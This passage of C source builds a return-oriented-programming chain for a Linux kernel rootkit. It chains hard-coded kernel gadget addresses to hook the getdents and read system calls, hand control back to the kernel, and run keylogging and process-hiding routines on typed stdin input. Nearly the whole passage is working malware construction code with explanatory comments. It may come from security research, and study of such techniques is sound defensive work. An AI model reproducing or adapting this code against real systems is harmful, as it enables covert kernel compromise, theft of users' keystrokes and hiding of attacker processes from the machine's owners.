    // ----------------------------------------------------------------
    // 1. Get the location of the original kernel stack
    // ----------------------------------------------------------------
    // Lets first calculate the address of the kernel stack.
    // For this we move the address of the per_cpu kernel stack into RAX.
    // This address is contained in gs:0xc730. It is a fixed address for
    // our target machine.
    add_to_fake_stack(0xffffffff8100a4de, &payload_stack, &payload_stack_size);  // POP RAX; RET;
    add_to_fake_stack(0xffff88003d80c730, &payload_stack, &payload_stack_size);  // gs:0xc730

    // We want the VALUE at this address
    add_to_fake_stack(0xffffffff81074b56, &payload_stack, &payload_stack_size);  // MOV RAX, [RAX]; RET
   
    // Load offset from per_cpu(kernel_stack) to current
    // kernel stack (basically we have to account for the memory
    // that the system call handler is using) into RSI
    add_to_fake_stack(0xffffffff81343c9e, &payload_stack, &payload_stack_size);  // POP RSI; RET;
    add_to_fake_stack(0x60, &payload_stack, &payload_stack_size);                // Offset. This is
                                                                                 // the space that the
                                                                                 // system_call_handler
                                                                                 // is using.

    // We now have to SUBSTRACT (the stack grows down!) this value from the
    // kernel stack in RAX to get the value the SP had before our sysenter
    // hook was invoked.
    add_to_fake_stack(0xffffffff8158f734, &payload_stack, &payload_stack_size);  // SUB RAX, RSI; RET;

    // ----------------------------------------------------------------
    // 2. Prepare the kernel stack for the control transfer
    // ----------------------------------------------------------------
    // The original kernel stack still contains the return address. We can
    // use this and switch to it using a LEAVE; RET. What is missing is the
    // original RBP on the kernel stack. So we write it there.

    // First of all we store the kernel stack value temporarily.
    // To do this we move it to the state TMP filed that we load
    // into RSI.
    add_to_fake_stack(0xffffffff81343c9e, &payload_stack, &payload_stack_size);  // POP RSI; RET;
    add_patch_entry(&payload_stack, &payload_stack_size, TMP, 0);                // Create a patch entry
    add_to_fake_stack(0x0, &payload_stack, &payload_stack_size);                 // TMP,
                                                                                 // must be overwritten by init

    // SAVE
    add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size);  // MOV [RSI],RAX;
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // Restore RAX, which was overwritten by the last gadget
    add_to_fake_stack(0xffffffff8100a4de, &payload_stack, &payload_stack_size);  // POP RAX; RET;
    add_patch_entry(&payload_stack, &payload_stack_size, TMP, 0);                // Create a patch entry
    add_to_fake_stack(0x0, &payload_stack, &payload_stack_size);                 // TMP,
                                                                                 // must be overwritten by init
    add_to_fake_stack(0xffffffff81074b56, &payload_stack, &payload_stack_size);  // MOV RAX, [RAX]; RET   
   
    // We now move the current kernel stack into RSI. The gadget contains
    // a call, so we must setup RBX first. Simply pop the return address that
    // is pushed by the call
    add_to_fake_stack(0xffffffff812ca859, &payload_stack, &payload_stack_size);  // POP RBX; RET;
    add_to_fake_stack(0xffffffff812ca859, &payload_stack, &payload_stack_size);  // Address of POP RBX;
                                                                                 //            RET;
   
    // Now move the kernel stack pointer (RAX) to RSI
    add_to_fake_stack(0xffffffff8103b7b9, &payload_stack, &payload_stack_size);  // MOV RSI,RAX;
                                                                                 // CALL RBX;
   
    // Since we want to call a function (kfree) before we return, we have to
    // place the return value of the system call we executed on the stack
    // such that it is popped after the call to kfree.
    // Load the return value into RAX.
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             RAX, REG_RAX);
    // Move
    add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size);  // MOV [RSI],RAX;
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // return value now on the kernel stack
   
    // Substract 8 from RSI such that it points to the next free value
    // on the kernel stack
    generate_substract_value(&payload_stack, &payload_stack_size,
                             0x8, REG_RSI);
   
    // Address of 'POP RAX; RET' into RAX
    generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
    generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
   
    // Move
    add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size);  // MOV [RSI],RAX;
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // POP RAX; RET on kernel stack
   
    // Substract 8 from RSI such that it points to the next free value
    // on the kernel stack
    generate_substract_value(&payload_stack, &payload_stack_size,
                             0x8, REG_RSI);
   
    // Load STI; RET; on kernel stack
    // This will enable interrupts on the kernel stack
    generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
    add_to_fake_stack(0xffffffff81066b92, &payload_stack, &payload_stack_size);  // Address of STI; RET;
   
    // Move
    add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size);  // MOV [RSI],RAX;
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // STI; RET; now on kernel stack
   
    // Substract 8 from RSI such that it points to the next free value
    // on the kernel stack
    generate_substract_value(&payload_stack, &payload_stack_size,
                             0x8, REG_RSI);
   
    // We now move the address of 'kfree' onto the kernel stack
    // This will free the memory of the payload area before we return.
    generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
    add_to_fake_stack(0xffffffff8117c7b0, &payload_stack, &payload_stack_size);  // Address of 'kfree'
   
    // Move
    add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size);  // MOV [RSI],RAX;
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // 'kfree' now on the kernel stack
   
    // Move our interrupt enabling gadget to the kernel stack.
    // Substract 8 from RSI such that it points to the next free value
    // on the kernel stack
    generate_substract_value(&payload_stack, &payload_stack_size,
                             0x8, REG_RSI);

    // Load the original RBP value into RAX
    add_to_fake_stack(0xffffffff8100a4de, &payload_stack, &payload_stack_size);  // POP RAX; RET;
    add_patch_entry(&payload_stack, &payload_stack_size, RBP, 0);                // Create a patch entry
    add_to_fake_stack(0x0, &payload_stack, &payload_stack_size);                 // RBP,
                                                                                 // must be overwritten by init

    // We want the VALUE within the state field of RBP
    add_to_fake_stack(0xffffffff81074b56, &payload_stack, &payload_stack_size);  // MOV RAX, [RAX]; RET;

    // Move the original RBP to the kernel stack
    add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size);  // MOV [RSI],RAX;
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // Orginal RBP now on kernel stack.
   
    // Save new value of kernel stack pointer
    generate_set_state_value(&payload_stack, &payload_stack_size,
                             TMP, REG_RSI);
   
    // ----------------------------------------------------------------
    // 3. Restore/Prepare Registers
    // ----------------------------------------------------------------
    // Restore the Original value of RBX as it is callee saved
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             RBX, REG_RBX);
   
    // Set RDI to the payload pointer for the call to 'kfree'
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             PAYLOAD, REG_RDI);
   
    // ----------------------------------------------------------------
    // 4. Transfer control back to the kernel.
    // ----------------------------------------------------------------
    // IMPORTANT: Do NOT override RDI!
    // For this we first get the kernel stack value from the state
    add_to_fake_stack(0xffffffff8100a4de, &payload_stack, &payload_stack_size);  // POP RAX; RET;
    add_patch_entry(&payload_stack, &payload_stack_size, TMP, 0);                // Create a patch entry
    add_to_fake_stack(0x0, &payload_stack, &payload_stack_size);                 // TMP,
                                                                                 // must be overwritten by init
    add_to_fake_stack(0xffffffff81074b56, &payload_stack, &payload_stack_size);  // MOV RAX, [RAX]; RET

    // MOVE RAX to RBP for the LEAVE; RET;
    // Move new SP to RBP
    add_to_fake_stack(0xffffffff8116747c, &payload_stack, &payload_stack_size);  // PUSH RAX; POP RBP; RET

    // Ramrod, activate the kernel.
    add_to_fake_stack(LEAVE_RET, &payload_stack, &payload_stack_size);           // LEAVE; RET;

    // ----------------------------------------------------------------
    // << EPILOG GETDENTS DONE
    // ================================================================

   
   
   
   
    // ================================================================
    // ================================================================
    // READ SYSTEM CALL!
   
    // Patch jump.
    generate_conditional_jump_equal(&jmp_to_read,
                                    &jmp_to_read_size,
                                    payload_stack_size - jmp_to_read_size);
   
    // ================================================================
    // >> CHECK FOR STDIN
    // ----------------------------------------------------------------
    // If we are not reading from STDIN, we return immediatly
    // RBX must contain the value to compare with
    // RDX must contain the value to compare
    // RBX -> 0 (stdin)
    generate_pop(&payload_stack, &payload_stack_size, REG_RBX);
    add_to_fake_stack(0x0, &payload_stack, &payload_stack_size);
   
    // RDX must contain the FD, which is the first argument of the
    // read system call and thus was stored in RDI.
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             RDI, REG_RDX);
   
    // Jump placeholder. Will be fixed at the end.
    jmp_to_read_handler = payload_stack;
    generate_conditional_jump_equal(&payload_stack, &payload_stack_size, 0x0);
    jmp_to_read_handler_size = payload_stack_size;
   
    // ONLY EXECUTED IF THIS READ SYSTEM CALL DOES NOT READ FROM STDIN
    // In this case we let the kernel do its thing
    // ----------------------------------------------------------------
    // 1. Get the location of the original kernel stack
    // ----------------------------------------------------------------
    // Lets first calculate the address of the kernel stack.
    // For this we move the address of the per_cpu kernel stack into RAX.
    // This address is contained in gs:0xc730. It is a fixed address for
    // our target machine.
    add_to_fake_stack(0xffffffff8100a4de, &payload_stack, &payload_stack_size);  // POP RAX; RET;
    add_to_fake_stack(0xffff88003d80c730, &payload_stack, &payload_stack_size);  // gs:0xc730

    // We want the VALUE at this address
    add_to_fake_stack(0xffffffff81074b56, &payload_stack, &payload_stack_size);  // MOV RAX, [RAX]; RET
   
    // Load offset from per_cpu(kernel_stack) to current
    // kernel stack (basically we have to account for the memory
    // that the system call handler is using) into RSI
    add_to_fake_stack(0xffffffff81343c9e, &payload_stack, &payload_stack_size);  // POP RSI; RET;
    add_to_fake_stack(0x60, &payload_stack, &payload_stack_size);                // Offset. This is
                                                                                 // the space that the
                                                                                 // system_call_handler
                                                                                 // is using.

    // We now have to SUBSTRACT (the stack grows down!) this value from the
    // kernel stack in RAX to get the value the SP had before our sysenter
    // hook was invoked.
    add_to_fake_stack(0xffffffff8158f734, &payload_stack, &payload_stack_size);  // SUB RAX, RSI; RET;

    // ----------------------------------------------------------------
    // 2. Prepare the kernel stack for the control transfer
    // ----------------------------------------------------------------
    // First of all we store the kernel stack value temporarily.
    // To do this we move it to the state TMP filed that we load
    // into RSI.
    add_to_fake_stack(0xffffffff81343c9e, &payload_stack, &payload_stack_size);  // POP RSI; RET;
    add_patch_entry(&payload_stack, &payload_stack_size, TMP, 0);                // Create a patch entry
    add_to_fake_stack(0x0, &payload_stack, &payload_stack_size);                 // TMP,
                                                                                 // must be overwritten by init

    // SAVE
    add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size);  // MOV [RSI],RAX;
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // Restore RAX, which was overwritten by the last gadget
    add_to_fake_stack(0xffffffff8100a4de, &payload_stack, &payload_stack_size);  // POP RAX; RET;
    add_patch_entry(&payload_stack, &payload_stack_size, TMP, 0);                // Create a patch entry
    add_to_fake_stack(0x0, &payload_stack, &payload_stack_size);                 // TMP,
                                                                                 // must be overwritten by init
    add_to_fake_stack(0xffffffff81074b56, &payload_stack, &payload_stack_size);  // MOV RAX, [RAX]; RET   
   
    // We now move the current kernel stack into RSI. The gadget contains
    // a call, so we must setup RBX first. Simply pop the return address that
    // is pushed by the call
    add_to_fake_stack(0xffffffff812ca859, &payload_stack, &payload_stack_size);  // POP RBX; RET;
    add_to_fake_stack(0xffffffff812ca859, &payload_stack, &payload_stack_size);  // Address of POP RBX;
                                                                                 //            RET;
   
    // Now move the kernel stack pointer (RAX) to RSI
    add_to_fake_stack(0xffffffff8103b7b9, &payload_stack, &payload_stack_size);  // MOV RSI,RAX;
                                                                                 // CALL RBX;
   
    // We first move the address of 'sys_read' onto the kernel stack
    // This will execute the read system call when we return to the kernel
    // stack
    generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
    add_to_fake_stack(0xffffffff81194370, &payload_stack, &payload_stack_size);  // Address of 'sys_read'
   
    // Move
    add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size);  // MOV [RSI],RAX;
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // 'sys_read' now on the kernel stack
   
    // Substract 8 from RSI such that it points to the next free value
    // on the kernel stack
    generate_substract_value(&payload_stack, &payload_stack_size,
                             0x8, REG_RSI);
   
    // Now we have to restore all arguments of sys_read
    // We start with RDI.
    // Load the original value of RDI on the stack.
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             RDI, REG_RAX);
 
    // Move
    add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size);  // MOV [RSI],RAX;
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // Value of RDI on kernel stack

    // Substract 8 from RSI such that it points to the next free value
    // on the kernel stack
    generate_substract_value(&payload_stack, &payload_stack_size,
                             0x8, REG_RSI);
   
   
    // Load Address of 'POP RDI; RET' into RDI such that the first argument
    // of sys_read ends up in RDI.
    generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
    generate_pop(&payload_stack, &payload_stack_size, REG_RDI);
 
    // Move
    add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size);  // MOV [RSI],RAX;
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // POP RDI; RET on kernel stack

    // Substract 8 from RSI such that it points to the next free value
    // on the kernel stack
    generate_substract_value(&payload_stack, &payload_stack_size,
                             0x8, REG_RSI);
   
    // Next RSI.
    // Load the original value of RSI on the stack.
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             RSI, REG_RAX);
 
    // Move
    add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size);  // MOV [RSI],RAX;
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // Value of RSI on kernel stack

    // Substract 8 from RSI such that it points to the next free value
    // on the kernel stack
    generate_substract_value(&payload_stack, &payload_stack_size,
                             0x8, REG_RSI);
   
   
    // Load Address of 'POP RSI; RET' into RSI such that the second argument
    // of sys_read ends up in RSI.
    generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
    generate_pop(&payload_stack, &payload_stack_size, REG_RSI);
 
    // Move
    add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size);  // MOV [RSI],RAX;
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // POP RSI; RET on kernel stack

    // Substract 8 from RSI such that it points to the next free value
    // on the kernel stack
    generate_substract_value(&payload_stack, &payload_stack_size,
                             0x8, REG_RSI);
   
    // Finally RDX
    // Load the original value of RDX on the stack.
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             RDX, REG_RAX);
 
    // Move
    add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size);  // MOV [RSI],RAX;
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // Value of RDX on kernel stack

    // Substract 8 from RSI such that it points to the next free value
    // on the kernel stack
    generate_substract_value(&payload_stack, &payload_stack_size,
                             0x8, REG_RSI);
   
   
    // Load Address of 'POP RDX; RET' into RDX such that the third argument
    // of sys_read ends up in RDX.
    generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
    generate_pop(&payload_stack, &payload_stack_size, REG_RDX);
 
    // Move
    add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size);  // MOV [RSI],RAX;
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // POP RDX; RET on kernel stack
   
    // Substract 8 from RSI such that it points to the next free value
    // on the kernel stack
    generate_substract_value(&payload_stack, &payload_stack_size,
                             0x8, REG_RSI);
       
    // Move our interrupt enabling gadget to the kernel stack.
    // This will enable interrupts on the kernel stack
    generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
    add_to_fake_stack(0xffffffff81066b92, &payload_stack, &payload_stack_size);  // Address of STI; RET;
   
    // Move
    add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size);  // MOV [RSI],RAX;
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // STI; RET; now on kernel stack
   
    // Substract 8 from RSI such that it points to the next free value
    // on the kernel stack
    generate_substract_value(&payload_stack, &payload_stack_size,
                             0x8, REG_RSI);    
   
    // We move the address of 'kfree' onto the kernel stack
    // This will free the memory of the payload area before we return to
    // userland.
    // The payload pointer will be in RSI.
    generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
    add_to_fake_stack(0xffffffff8117c7b0, &payload_stack, &payload_stack_size);  // Address of 'kfree'
   
    // Move
    add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size);  // MOV [RSI],RAX;
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // 'kfree' now on the kernel stack
   
    // Substract 8 from RSI such that it points to the next free value
    // on the kernel stack
    generate_substract_value(&payload_stack, &payload_stack_size,
                             0x8, REG_RSI);

    // Load the original RBP value into RAX
    add_to_fake_stack(0xffffffff8100a4de, &payload_stack, &payload_stack_size);  // POP RAX; RET;
    add_patch_entry(&payload_stack, &payload_stack_size, RBP, 0);                // Create a patch entry
    add_to_fake_stack(0x0, &payload_stack, &payload_stack_size);                 // RBP,
                                                                                 // must be overwritten by init

    // We want the VALUE within the state field of RBP
    add_to_fake_stack(0xffffffff81074b56, &payload_stack, &payload_stack_size);  // MOV RAX, [RAX]; RET;

    // Move the original RBP to the kernel stack
    add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size);  // MOV [RSI],RAX;
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // Orginal RBP now on kernel stack.
   
    // Save new value of kernel stack pointer
    generate_set_state_value(&payload_stack, &payload_stack_size,
                             TMP, REG_RSI);
   
    // ----------------------------------------------------------------
    // 3. Restore/Prepare Registers
    // ----------------------------------------------------------------
    // Restore the Original value of RBX as it is callee saved
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             RBX, REG_RBX);
   
    // Set RDI to the payload pointer for the call to 'kfree'
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             PAYLOAD, REG_RDI);
   
    // ----------------------------------------------------------------
    // 4. Transfer control back to the kernel.
    // ----------------------------------------------------------------
    // IMPORTANT: Do NOT override RDI, RSI, or RDX!
    // For this we first get the kernel stack value from the state
    add_to_fake_stack(0xffffffff8100a4de, &payload_stack, &payload_stack_size);  // POP RAX; RET;
    add_patch_entry(&payload_stack, &payload_stack_size, TMP, 0);                // Create a patch entry
    add_to_fake_stack(0x0, &payload_stack, &payload_stack_size);                 // TMP,
                                                                                 // must be overwritten by init
    add_to_fake_stack(0xffffffff81074b56, &payload_stack, &payload_stack_size);  // MOV RAX, [RAX]; RET

    // MOVE RAX to RBP for the LEAVE; RET;
    // Move new SP to RBP
    add_to_fake_stack(0xffffffff8116747c, &payload_stack, &payload_stack_size);  // PUSH RAX; POP RBP; RET

    // Ramrod, activate the kernel.
    add_to_fake_stack(LEAVE_RET, &payload_stack, &payload_stack_size);           // LEAVE; RET;
   
    // ----------------------------------------------------------------
    // 5. Patch the conditional jump
    // ----------------------------------------------------------------
    generate_conditional_jump_equal(&jmp_to_read_handler,
                                    &jmp_to_read_handler_size,
                                    payload_stack_size-jmp_to_read_handler_size);
   
    // ----------------------------------------------------------------
    // << CHECK FOR STDIN
    // ================================================================
   

    // ================================================================
    // >> EXECUTE READ
    // ----------------------------------------------------------------
    // Our payload requires the result of the read system call. Thus
    // we start by executing it. The problem with the read system call,
    // however, is that it disables interrupts
    // First load all the arguments (RDI, RSI, RDX)
   
    // ----------------------------------------------------------------
    // LOAD RSI
    // ----------------------------------------------------------------
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             RSI, REG_RSI);
   
    // ----------------------------------------------------------------
    // LOAD RDI
    // ----------------------------------------------------------------
    // We cannot make use of the normal gadget as it uses RDI.
    // Thus we use the unsafe gadget.
    generate_get_state_value_unsafe(&payload_stack, &payload_stack_size,
                                    RDI, REG_RDI);
   
    // ----------------------------------------------------------------
    // LOAD RDX
    // ----------------------------------------------------------------
    // RDX must be last, since the get_state_value_unsafe gadget
    // sequence uses it.
    generate_get_state_value_unsafe(&payload_stack, &payload_stack_size,
                                    RDX, REG_RDX);

    // ----------------------------------------------------------------
    // Invoke SYS_READ
    // ----------------------------------------------------------------
    // Load Address of 'sys_read' into RAX
    add_to_fake_stack(0xffffffff8100a4de, &payload_stack, &payload_stack_size);  // POP RAX; RET;
    add_to_fake_stack(0xffffffff81194370, &payload_stack, &payload_stack_size);  // Address of sys_read
   
    // Enable interrupts
    // IMPORTANT: This is crucial! Some paths in sys_read expect interrupts to
    //            be enabled. Otherwise this could lead to errors.
    add_to_fake_stack(0xffffffff81066b92, &payload_stack, &payload_stack_size);  // STI; RET;

    // "Call" sys_read
    add_to_fake_stack(0xffffffff81000110, &payload_stack, &payload_stack_size);  // JMP RAX;
    // RAX now contains the return value of sys_read
   
    // Read my reenable interrupts. So we make sure they are off when
    // we return.
    add_to_fake_stack(0xffffffff811e3492, &payload_stack, &payload_stack_size);  // CLI; RET;

    // Save the return value such that we later can hand control back to the
    // system call handler
    add_to_fake_stack(0xffffffff81343c9e, &payload_stack, &payload_stack_size);  // POP RSI, RET;
    add_patch_entry(&payload_stack, &payload_stack_size, RAX, 0);                // Create a patch entry
    add_to_fake_stack(0x0, &payload_stack, &payload_stack_size);                 // RAX
                                                                                 // must be overwritten by init
    // RSI now points to RAX within the state!


    // Save the return value within the state
    add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size);  // MOV [RSI],RAX;
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // ----------------------------------------------------------------
    // << EXECUTE READ DONE
    // ================================================================

    // ================================================================
    // >> FUNCTIONALITY SYS_READ
    // ----------------------------------------------------------------
    // This area contains the actual funtionality.
   
    // ----------------------------------------------------------------
    // Check the bytes read
    // ----------------------------------------------------------------
    // We are only interested in typed commands. We use the number of
    // bytes read to distinguish typed command from other data read on
    // STDIN.
    // RBX must contain the value to compare with
    // RDX must contain the value to compare
    // RBX -> 1
    generate_pop(&payload_stack, &payload_stack_size, REG_RBX);
    add_to_fake_stack(0x1, &payload_stack, &payload_stack_size);              // Only proceed if
                                                                              // just a single byte
                                                                              // was read
   
    // RDX must contain the return value of sys_read
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             RAX, REG_RDX);
   
    // Jump placeholder. Will be fixed at the end.
    jmp_to_epilog = payload_stack;
    generate_conditional_jump_not_equal(&payload_stack, &payload_stack_size, 0x0);
    jmp_to_epilog_size = payload_stack_size;
   
    // ----------------------------------------------------------------
    // Copy byte into buffer
    // ----------------------------------------------------------------
    // This will only be executed if we read a single byte.
    // Move the byte into the buffer.
   
    // Load the current index into rdi
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             BUFFER_INDEX, REG_RDI);
   
    // Load the base address into rax
    generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
    add_patch_entry(&payload_stack, &payload_stack_size, BUFFER, 0);             // Create a patch entry
    add_to_fake_stack(0x0, &payload_stack, &payload_stack_size);                 // BUFFER,
                                                                                 // must be overwritten
   
    // Increase the buffer by the current index
    add_to_fake_stack(0xffffffff8104c41d, &payload_stack, &payload_stack_size);  // ADD RAX, RDI; RET
   
    // Move the pointer in RAX to RSI
    generate_move_from_rax(&payload_stack, &payload_stack_size, REG_RSI);       

    // Load the data that was read into RAX
    // The buffer the data was put into was the original value of RSI
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             RSI, REG_RAX);
   
    // Get the data
    add_to_fake_stack(0xffffffff81074b56, &payload_stack, &payload_stack_size);  // MOV RAX, [RAX]; RET

    // Move to buffer
    add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size);  // MOV [RSI],RAX;
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // Buffer now contains the data, but it is not 0 terminated.
   
    // Move RSI to the next byte
    generate_add_value(&payload_stack, &payload_stack_size,
                       0x1, REG_RSI);
   
    // Load 0x0 into RAX
    generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
    add_to_fake_stack(0x0, &payload_stack, &payload_stack_size);
   
    // Move to buffer
    add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size);  // MOV [RSI],RAX;
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // Data now 0 terminated
   
    // Finally we must update the index
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             BUFFER_INDEX, REG_RAX);
   
    // Add 1
    generate_add_value(&payload_stack, &payload_stack_size,
                       0x1, REG_RAX);
   
    // Move back
    generate_set_state_value(&payload_stack, &payload_stack_size,
                             BUFFER_INDEX, REG_RAX);
   
    // ----------------------------------------------------------------
    // Let the keylogger do its thing.
    // ----------------------------------------------------------------
    generate_keylog(&payload_stack, &payload_stack_size);
   
    // ----------------------------------------------------------------
    // Next hide & unhide process
    // ----------------------------------------------------------------
    generate_hide_task(&payload_stack, &payload_stack_size);
    generate_unhide_task(&payload_stack, &payload_stack_size);
   
    // ----------------------------------------------------------------
    // Patch the conditional jump
    // ----------------------------------------------------------------
    generate_conditional_jump_not_equal(&jmp_to_epilog,
                                        &jmp_to_epilog_size,
                                        payload_stack_size-jmp_to_epilog_size);
   
   
    // ----------------------------------------------------------------
    // << FUNCTIONALITY SYS_READ DONE
    // ================================================================

    // ================================================================
    // >> EPILOG SYS_READ
    // ----------------------------------------------------------------
    // In the epilog we must restore the callee saved registers (RBX,
    // RBP), the return value, and hand control back to the original
    // kernel execution path.

    // ----------------------------------------------------------------
    // 1. Get the location of the original kernel stack
    // ----------------------------------------------------------------
    // Lets first calculate the address of the kernel stack.
    // For this we move the address of the per_cpu kernel stack into RAX.
    // This address is contained in gs:0xc730. It is a fixed address for
    // our target machine.
    add_to_fake_stack(0xffffffff8100a4de, &payload_stack, &payload_stack_size);  // POP RAX; RET;
    add_to_fake_stack(0xffff88003d80c730, &payload_stack, &payload_stack_size);  // gs:0xc730

    // We want the VALUE at this address
    add_to_fake_stack(0xffffffff81074b56, &payload_stack, &payload_stack_size);  // MOV RAX, [RAX]; RET
   
    // Load offset from per_cpu(kernel_stack) to current
    // kernel stack (basically we have to account for the memory
    // that the system call handler is using) into RSI
    add_to_fake_stack(0xffffffff81343c9e, &payload_stack, &payload_stack_size);  // POP RSI; RET;
    add_to_fake_stack(0x60, &payload_stack, &payload_stack_size);                // Offset. This is
                                                                                 // the space that the
                                                                                 // system_call_handler
                                                                                 // is using.

    // We now have to SUBSTRACT (the stack grows down!) this value from the
    // kernel stack in RAX to get the value the SP had before our sysenter
    // hook was invoked.
    add_to_fake_stack(0xffffffff8158f734, &payload_stack, &payload_stack_size);  // SUB RAX, RSI; RET;

    // ----------------------------------------------------------------
    // 2. Prepare the kernel stack for the control transfer
    // ----------------------------------------------------------------
    // The original kernel stack still contains the return address. We can
    // use this and switch to it using a LEAVE; RET. What is missing is the
    // original RBP on the kernel stack. So we write it there.

    // First of all we store the kernel stack value temporarily.
    // To do this we move it to the state TMP filed that we load
    // into RSI.
    add_to_fake_stack(0xffffffff81343c9e, &payload_stack, &payload_stack_size);  // POP RSI; RET;
    add_patch_entry(&payload_stack, &payload_stack_size, TMP, 0);                // Create a patch entry
    add_to_fake_stack(0x0, &payload_stack, &payload_stack_size);                 // TMP,
                                                                                 // must be overwritten by init

    // SAVE
    add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size);  // MOV [RSI],RAX;
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // Restore RAX, which was overwritten by the last gadget
    add_to_fake_stack(0xffffffff8100a4de, &payload_stack, &payload_stack_size);  // POP RAX; RET;
    add_patch_entry(&payload_stack, &payload_stack_size, TMP, 0);                // Create a patch entry
    add_to_fake_stack(0x0, &payload_stack, &payload_stack_size);                 // TMP,
                                                                                 // must be overwritten by init
    add_to_fake_stack(0xffffffff81074b56, &payload_stack, &payload_stack_size);  // MOV RAX, [RAX]; RET   
   
    // We now move the current kernel stack into RSI. The gadget contains
    // a call, so we must setup RBX first. Simply pop the return address that
    // is pushed by the call
    add_to_fake_stack(0xffffffff812ca859, &payload_stack, &payload_stack_size);  // POP RBX; RET;
    add_to_fake_stack(0xffffffff812ca859, &payload_stack, &payload_stack_size);  // Address of POP RBX;
                                                                                 //            RET;
   
    // Now move the kernel stack pointer (RAX) to RSI
    add_to_fake_stack(0xffffffff8103b7b9, &payload_stack, &payload_stack_size);  // MOV RSI,RAX;
                                                                                 // CALL RBX;
   
    // Since we want to call a function (kfree) before we return, we have to
    // place the return value of the system call we executed on the stack
    // such that it is popped after the call to kfree.
    // 1. Load the return value into RAX.
    generate_get_state_value(&payload_stack, &payload_stack_size,
                             RAX, REG_RAX);
    // Move
    add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size);  // MOV [RSI],RAX;
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // return value now on the kernel stack
   
    // Substract 8 from RSI such that it points to the next free value
    // on the kernel stack
    generate_substract_value(&payload_stack, &payload_stack_size,
                             0x8, REG_RSI);
   
    // Address of 'POP RAX; RET' into RAX
    generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
    generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
   
    // Move
    add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size);  // MOV [RSI],RAX;
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // POP RAX; RET on kernel stack
   
    // Substract 8 from RSI such that it points to the next free value
    // on the kernel stack
    generate_substract_value(&payload_stack, &payload_stack_size,
                             0x8, REG_RSI);
   
    // Load STI; RET; on kernel stack
    // This will enable interrupts on the kernel stack
    generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
    add_to_fake_stack(0xffffffff81066b92, &payload_stack, &payload_stack_size);  // Address of STI; RET;
   
    // Move
    add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size);  // MOV [RSI],RAX;
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // STI; RET; now on kernel stack
   
